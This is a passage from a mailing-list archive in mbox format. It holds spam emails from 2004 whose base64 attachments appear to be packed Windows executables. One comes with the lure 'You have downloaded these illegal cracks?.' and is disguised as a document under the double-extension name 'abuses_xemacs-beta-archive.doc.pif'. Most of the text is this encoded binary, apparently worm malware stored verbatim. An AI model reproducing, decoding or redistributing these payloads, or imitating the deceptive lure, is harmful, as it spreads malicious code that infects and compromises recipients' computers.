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 IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From utchison@campbellusd.k12.ca.us Wed Apr 28 12:05:39 2004 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3SG5Ws00527 for ; Wed, 28 Apr 2004 12:05:33 -0400 Message-Id: <200404281605.i3SG5Ws00527@gwyn.tux.org> From: utchison@campbellusd.k12.ca.us To: xemacs-beta-archive@xemacs.org Subject: Notice again Date: Wed, 28 Apr 2004 11:50:01 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit You have downloaded these illegal cracks?. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="abuses_xemacs-beta-archive.doc.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="abuses_xemacs-beta-archive.doc.pif" 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 